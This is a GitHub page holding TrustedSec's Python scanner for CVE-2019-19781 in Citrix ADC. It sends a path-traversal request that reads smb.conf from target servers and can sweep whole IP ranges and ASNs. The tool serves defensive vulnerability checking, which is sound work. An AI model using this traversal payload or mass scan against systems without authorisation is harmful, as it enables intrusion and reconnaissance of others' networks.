Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
5 contributors

Users who have contributed to this file

@trustedsec @hevnsnt @gunnerstahl @2d4d @itsreallynick
executable file 187 lines (157 sloc) 7.34 KB
#!/usr/bin/env python3
#
# Single check to see if the server is still vulnerable to CVE-2019-19781
# Written by: Dave Kennedy, @HackingDave
# Company: TrustedSec
#
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings
import argparse
from netaddr import IPNetwork
import threading
import time
import subprocess
import re
def asn_to_ip(asn):
# use ASN listings to enumerate whois information for scanning.
cidr_list = []
command = 'whois -h whois.radb.net -- \'-i origin %s\' | grep -Eo "([0-9.]+){4}/[0-9]+" | head' % (asn)
asn_convert = subprocess.Popen([command], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stderr_read = asn_convert.stderr.read().decode('utf-8')
asn_convert = asn_convert.stdout.read().decode('utf-8').splitlines()
# if we don't have whois installed
if "whois: not found" in stderr_read:
print("[-] In order for ASN looks to work you must have whois installed. Type apt-get install whois as an example on Debian/Ubuntu.")
sys.exit()
# iterate through cidr ranges and append them to list to be scanned
for cidr in asn_convert:
cidr_list.append(cidr)
return cidr_list
# we need to do this hack job due to sanitization of urls in the latest version of urllib3
# special thanks to rxwx for the fix
def submit_url(url):
with requests.Session() as s:
r = requests.Request(method='GET', url=url)
prep = r.prepare()
prep.url = url
return s.send(prep, verify=False, timeout=2)
# our main function for testing the vulnerability
def check_server(target, targetport, verbose):
try:
print("Scanning for CVE-2019-19781 on: %s " % target, end="\r") # Cleaning up output a little
# if for some ungodly reason they are using HTTP
if targetport == "80":
url = ("http://%s:%s/vpn/js/%%2e./.%%2e/%%76pns/cfg/smb.conf" % (target,targetport))
req = submit_url(url)
# for all other requests use HTTPS
else:
url = ("https://%s:%s/vpn/js/%%2e./.%%2e/%%76pns/cfg/smb.conf" % (target,targetport))
req = submit_url(url)
# if the system is still vulnerable
if ("[global]") in str(req.content) and ("encrypt passwords") in str(req.content) and("name resolve order") in str(req.content): # each smb.conf will contain a [global] variable
print("[\033[91m!\033[0m] This Citrix ADC Server: %s is still vulnerable to CVE-2019-19781." % (target))
vulnServers.append(target)
return 1
# if the system responds with a Citrix message (fixed) or a 403 (fixed)
elif ("Citrix") in str(req.content) or "403" in str(req.status_code): # only seen if system is not vulnerable
print("[\033[92m*\033[0m] Server: %s responded with a 403. If this is a Citrix Server, it is not vulnerable. Awesome!" % (target))
# if we run into something other than Citrix
else:
if verbose == True: print("[-] Server %s does not appear to be a Citrix server." % (target))
pass
# handle exception errors due to timeouts
except requests.ReadTimeout:
if verbose == True: print("[-] ReadTimeout: Server %s timed out and didn't respond on port: %s." % (target, targetport))
pass
except requests.ConnectTimeout:
if verbose == True: print("[-] ConnectTimeout: Server %s did not respond to a web request or the port (%s) is not open." % (target, targetport))
pass
except requests.ConnectionError:
if verbose == True: print("[-] ConnectionError: Server %s had a connection error on port (%s). SSL does not appear to be valid." % (target,targetport))
pass
def parse_target_args(target, port, verbose):
global counter
global threat
# cidr lookups for ASN lookups
if re.match ("as\d\d", target, re.IGNORECASE) :
CIDR_Blocks = asn_to_ip(target)
for ip_block in CIDR_Blocks:
for ip in IPNetwork(ip_block):
thread = threading.Thread(target=check_server, args=(ip,port,verbose))
thread.start()
time.sleep(0.05)
# wait for the threads to complete
thread.join()
# if we are iterating through IP addresses to scan CIDR notations
elif "/" in target:
for ip in IPNetwork(target):
counter = counter + 1
thread = threading.Thread(target=check_server, args=(ip,port,verbose))
thread.start()
time.sleep(0.05)
# wait for the threads to complete
thread.join()
# if we are just using 1 IP address
else:
counter = counter + 1
check_server(target, port,verbose)
print("""
_______ ________ ___ ___ __ ___ __ ___ ______ ___ __
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |/ _ \____ / _ \/_ |
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | (_) | / / (_) || |
| | \ \/ / | __|______/ /| | | || |\__, |______| |\__, | / / > _ < | |
| |____ \ / | |____ / /_| |_| || | / / | | / / / / | (_) || |
\_____| \/ |______| |____|\___/ |_| /_/ |_| /_/ /_/ \___/ |_|
CVE-2019-19781-Scanner
Company: TrustedSec
Written by: Dave Kennedy, @HackingDave
This will look to see if the remote system is still vulnerable to CVE-2019-19781. This
will only scan one host at a time.
You can use CIDR notations as well for example: 192.168.1.1/24
You can use hostnames instead of IP addresses also.
You can also use a file with IP addresses generated by an external tool.
Example: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443
Example2: python3 cve-2019-19781_scanner.py 192.168.1.1 443
Example3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443
Example4: python3 cve-2019-19781_scanner.py as15169 443
Example5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose
Example6: python3 cve-2019-19781_scanner.py file:hostfile 443
Usage: python3 cve-2019-19781_scanner.py targetip targetport
""")
def dummy():
pass
vulnServers = []
counter = 0
thread = threading.Thread(target=dummy)
thread.start()
# parse our commands
parser = argparse.ArgumentParser()
parser.add_argument("target", help="the vulnerable server with Citrix (defaults https)")
parser.add_argument("targetport", help="the target server web port (normally on 443)")
parser.add_argument("verbose", nargs="?", help="print out verbose information")
args = parser.parse_args()
# if we specify a verbose flag
if args.verbose:
verbose = True
else: verbose = False
try:
# specify file option to import host:port
if "file:" in (args.target):
print("[*] Importing in list of hosts from filename: %s" % (args.target))
with open(args.target.split(':')[1], 'r') as file:
hosts= file.read().splitlines()
for target_line in hosts:
parse_target_args(target_line, args.targetport, verbose)
# wait for the threads to complete
thread.join()
else:
parse_target_args(args.target, args.targetport, verbose)
# do a report on vuln servers
print("Finished testing %s servers: Found %s to be vulnerable. Below is a list system(s) identified:" % (counter, len(vulnServers)))
print("-" * 45)
for server in vulnServers:
print(server)
except KeyboardInterrupt:
print("[!] interrupt received, stopping..")
time.sleep(0.1)
You can’t perform that action at this time.